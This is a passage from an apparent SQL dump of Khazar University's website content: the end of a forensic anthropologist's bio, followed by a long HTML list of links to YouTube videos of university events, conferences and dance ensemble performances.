Forensic Medicine) from the Azerbaijan Medical University (2004). He had professional training in collaboration with USA Criminology Association (2006).He works as a forensic anthropologist in the Forensic Medical Expertise and Pathological Anatomy Scientific Practical Investigation Unit of Ministry of Health, Azerbaijan Republic. Also, he is an Assistant Professor at Department of Human Anatomy, Azerbaijan Medical University. He has 7 years of teaching experience, and taught Human anatomy courses for Medical students. He has 6 published journal articles, and 7 conference contributions (published proceedings &amp; oral presentations).  <br></p><p><strong><br></strong></p><p><br></p>'),(2029,1232,'az','Anar Ibrahimov','Anar Ibrahimov',''),(1197,495,'az','Videolar','Videolar','<p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=CWorf7MkxyE\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Fərhad Aşumov Xəzərdə</a> </p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=pIt3LXTtbXc\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">15.09.2016 Yeni tədris ili</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=04iFhq6Ez-I\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Xəzər Universiteti. 25 İlliy Yubiley.</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=Wvbb3vvy1W4\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">09.06.2016 Xəzərin rəqs ansamblının solo konserti</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=xPUFHfgNir4\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Xəzər universitetinin 25 illik yubileyi - Hamlet İsaxanlı slide show</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=CVKKTO84H_0\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Xəzər universitetinin 25 illik yubileyi - Müəllimlər slide show</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=_4U9KUYSoiE\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Xəzər universitetinin 25 illik yubileyi - İşçilər slide show</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=xv67-MOp_4Q\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Xəzər Universitetinin 25 illik yubileyi</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=5VkLDIQ9I1g\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Kəmaləddin Qədim Xəzərdə</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=_lwgmHO7QLE\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">A conference in honour of Shakespeare\'s anniversary</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=XornrYn2D28\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Potensial məktəb buraxılışları II Buraxılış - Slide Show - D qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=3qGue0aHzWM\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Potensial məktəb buraxılışları II Buraxılış - Slide Show - C qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=mCqTqakaCDk\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Potensial məktəb buraxılışları II Buraxılış - Slide Show - B qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=VbRD2LrON1k\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Potensial məktəb buraxılışları II Buraxılış - Slide Show - A qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=523WjVAHJsY\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Potensial direktorlar III buraxılış - Slide Show - B qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=YTxnXFkw4P4\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Potensial direktorlar III buraxılış - Slide show - A qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=mOrjg_Up9sA\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Məhəmməd Nuriyev 70 yaş</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=NmVb0TUSbOw\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Media Mərkəzi Lənkaranda 24-26.03.2016</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=ybfPUqcINAw\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Xəzərdə Novruz şənliyi</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=_G8fmBHdZTE\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Hamlet İsaxanlı - Ad günü</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=6BmPPERbyXU\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Media Sumqayıtda</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=8Jf8TALYh1Y\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Yekun Konsert</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=jl7HKGkMPuE\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Multimedia Mərkəzi - Yeni il</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=twwA9TwW1q0\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Məzunlarla işgüzar görüş - Xəzər Universiteti</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=kCKJZ_I3NC8\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">Multimedia Mərkəzi&nbsp;(Nigar Farmanova) - One day</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=2QM68wX-vUw\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">First Annual Robotics - Khazar University</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=auv6VDWfO1k\" sessionlink=\"ei=oiAXWMbwCo3KqAWCwLaYCA\">17.10.2015 Dr.Hassan Niknafsın 1 ci kurs tələbələrinə laboratoriya ilə tanış etməsi</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=Y-8-BXU4D44\" sessionlink=\"ei=CSAXWMPWDI3KqAWdsbXYDg\">Yeni Tədris ilinin açılışı (2015-2016</a>)<br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=hX_yckfEkN8\" sessionlink=\"ei=CSAXWMPWDI3KqAWdsbXYDg\">Eurovillage through the eyes of members of the Media Center</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=M1Yf96-Zdoc\" sessionlink=\"ei=CSAXWMPWDI3KqAWdsbXYDg\">Konfutsi mərkəzinin açılışı (Part 2)</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=Wm1AWuCawH0\" sessionlink=\"ei=CSAXWMPWDI3KqAWdsbXYDg\">Konfutsi mərkəzinin açılışı (Part 1)</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=cpABcPwhrns\" sessionlink=\"ei=CSAXWMPWDI3KqAWdsbXYDg\">Koreya sərgisi ( Part 2)</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=LULXF-ghVeY\" sessionlink=\"ei=CSAXWMPWDI3KqAWdsbXYDg\">Koreya sərgisi ( Part 1)</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=F6QzXj3CPYw\" sessionlink=\"ei=CSAXWMPWDI3KqAWdsbXYDg\">Oleq Poxanovski ilə ustad dərslər - 22.10.2015</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=RIOwJFQUCrg\" sessionlink=\"ei=CSAXWMPWDI3KqAWdsbXYDg\">Multi Media Center. Training. Beginning of the Term</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=roeEpw54MQg\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Azərbaycan tarixi - memarlıq irsi gənclərin gözü ilə</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=bZ77e3Iv258\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Laleh və Sitareh Eskandari ilə görüş (Xəzər Universitəsi)</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=Vd_Nz4kqFQs\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">AMEA qonaqları ilə görüş 21.05.2015</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=PmW51KGtiH0\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Azerbaijan II International Psychology Conference (Day I, Part II)</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=mwrOpOIF_Ao\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Azerbaijan II International Psychology Conference (Day I, Part I)</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=-U56GKCZ0xA\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Jem Kinaji: \"Multidisciplinary Approach to the Diagnosis and Treatment of Autism\"</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=z50c2syF3xE\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Mustafa Chay: \"NLP Neuro Lingvistic Programming\"</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=TwxJ_N1xu_A\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Ibrahim Bilgen: \"Psychotherapeutic Aid in Case of Anxiety Disorder\"</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=omj-3aet0Wc\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Conference Closing</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=2o1jX9lSao4\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Nevzat Tarhan: \"Psychotherapeutic Factors in Successful Treatment Processes\"</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=6wujl77zxEk\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Azərbaycan II Psixologiya Konfransı (menyu)</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=hm27LjWLoz8\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Elm ve Senet 64</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=L3lDRKZ3RNs\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">\"Xocalı\" xatirəsi. Khazar University</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=LCi27Yex4XQ\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Khazar University. Technopark.</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=xsGdgKQBXjE\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Elm və Sənət 63</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=hEH_3XvRtbc\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">Kitabla dost ol, ən fəal oxucu!</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=jMHRmnjGP_k\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">İlqar Muradov- Sadəcə çox sevdim səni</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=-Fmot75d8Kk\" sessionlink=\"ei=fx4XWM-UO8fLqQXx1qegCg\">\"Xəzər Xəbər\" - 20 il. Backstage</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=jXzGxl3l8Vs\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Qanlı Yanvar. 20.01.1991</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=NnzHpZrVFNc\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Multi Media Center. New Year Party</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=37T6d6KZAtc\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Qazaxı rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=AbF96_p5Haw\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Dağlar Gözəli rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=V95lInrajv0\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Qazaxı rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=zY9Yf8sAL6Y\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Vağzalı Mirzəi - Solo.Əminə Dilbazi</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=ZZC-4N-gk5c\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Nağaraçılar rəqsi</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=W_0VZ0WxsjI\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Dostluq suyitası</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=9vN9O88D9kE\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Dostluq suyitası.</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=Sxd8070m40Q\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Dəsmalla rəqs.</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=7fcVsmavGao\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Çadra ilə rəqsi - Nailə Mahmudova</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=tK3Av_ZqBKs\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Yallı. Zorxana. - Mahnı və Rəqs Ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=BTe0WRZn8MQ\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Gənclik (Bəy) rəqsi. - Solo. Ramiz Məmmədov</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=8W4mIhD8rlM\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Yallı. Zorxana. - Xəzər Universitetinin Mahnı və Rəqs Ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=dFzAL_wrzDQ\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Yallı. Zorxana. - Xəzər Universitetinin Mahnı və Rəqs Ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=9Om6DrovI-g\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Naxçıvan yallısı - \"Çinar\" rəqs qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=VqsAJQ7X9a0\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Naxçıvan yallısı - Xəzər Universitetinin Mahnı və Rəqs Ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=H0oe2fxBMSo\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Kişi oyunu - Solo-Qorxmaz Qurbanov</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=iWLuE8ugKNk\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Məzəli rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=sYfPh6t9xqk\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Məzəli rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=FwbmoJIqrdM\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Məzəli rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=aEUVyqKhktQ\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Çoban rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı. Oğlanlardan ibarət rəqs qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=F9TI3ISFks0\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Çoban rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı. Oğlanlardan ibarət rəqs qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=H2Oq6Hyye4c\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Çoban rəqsi - Ifa edir Böyükağa Məmmədov</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=hdAKmkc5W6w\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Naz eleme - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı.</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=Eh0pkdwvsbY\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Naz Eləmə rəqsi -İfa edir Tutu Həmidova və Ramiz Cəlilov</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=Jb_zNP_HiFk\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Naz eleme - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=Od-Gt2GOLRk\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Şəki rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı. Oğlanlardan ibarət rəqs qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=BLeqCA-GtjY\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Üç Gül rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı. Qızlardan ibarət rəqs qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=FgWx6QFA9UM\" sessionlink=\"ei=bR0XWJHbJJGAqgWAq6yABA\">Üç Gül rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı. Qızlardan ibarət rəqs qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=usvTUPLl638\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Üç Gül rəqsi - İfa edir Sona xanım, Şərqiyyə xanım, Xoşbəxt xanım</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=w7qgKsucGbw\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Məhsul rəqsi - İfa edir Solo-Qəmər Almazzade</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=iEv_Zm7Ljec\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\"></a><a href=\"https://www.youtube.com/watch?v=iEv_Zm7Ljec\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">10.12.2014&nbsp;</a><a href=\"https://www.youtube.com/watch?v=iEv_Zm7Ljec\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Əcnəbi tələbələr ve müəllimlər Dünya məktəbində</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=SGrB7VMNyaw\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Stəkanla rəqs - İfa edir Əminə Dilbazi</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=Ywt5yQI7zwo\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Durnalar rəqsi- İfa edir Roza Cəlilova</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=u3v0FuFC6hk\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Qavalla ilə rəqs- İfa edir Əminə Dilbazi</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=P0PKpZt-Mcw\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Tərəkəmə rəqsi - İfa edir Əminə Dilbazi</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=EDISo-vuybM\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Tərəkəmə rəqsi - İfa edir Roza Cəlilova</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=3dOGAhGOoDA\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Ay Gozəl rəqsi (Tərəkəmə) - İfa edir Leyla Bədirbəyli</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=1uB6ACG8Bbk\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Bahar rəqsi - İfa edir Xəzər universitetinin mahnı və rəqs ansamblı. Qızlardan ibarət rəqs qrupuş</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=tr3s3qIWccw\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Bahar rəqsi - Xəzər universitetinin mahnı və rəqs ansamblı. Qızlardan ibarət rəqs qrupu</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=9PTEcgpvQFg\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Xəzər Universitetinin məzunları ilə göruş 29.11.2014</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=nMkm0ru56T8\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Gəlin Xatırlayaq!</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=alyG0e3gxuc\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">\"Gəlin xatirlayaq\" - 29.11.2014 Məzunlarla göruş</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=JJtRa3Pk8W4\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Məzunlarla görüş - I</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=12-39wSpAiA\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Məzunlarla görüş - II</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=zog9OODS0Hs\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\"></a><a href=\"https://www.youtube.com/watch?v=O9yvrI89lec\" sessionlink=\"ei=2R8XWMqIGIbBqgWn07nACg\">Media Mərkəzi - Göyçay (31.10-01.11.2014 )</a>   <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=7Iuiaw6epbc\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Dünya məktəbinin açılışı- 1999</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=AXAt-C8Om3s\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Hamlet İsaxanlının Tiflisdeki kitab teqdimati</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=4-Lh2EUC45E\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Idman və Mədəniyyyət departamentinin bayram şənliyi -03.10.1999</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=RENWfuqoRfc\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Məmməd Əmin Rəsulzadə və Nəriman Nərimanovun Azərbaycan tarixində rolu - 2002 il</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=BNkYCe1GhWQ\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Dünya məktəbinin acılış mərasimi - 29.09.2014</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=oTyTikAKo_Y\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Multimedia Mərkəzi və Tarix Departamenti Xalça Muzeyində</a>  <br></p><p style=\"font-family:arial, helvetica, 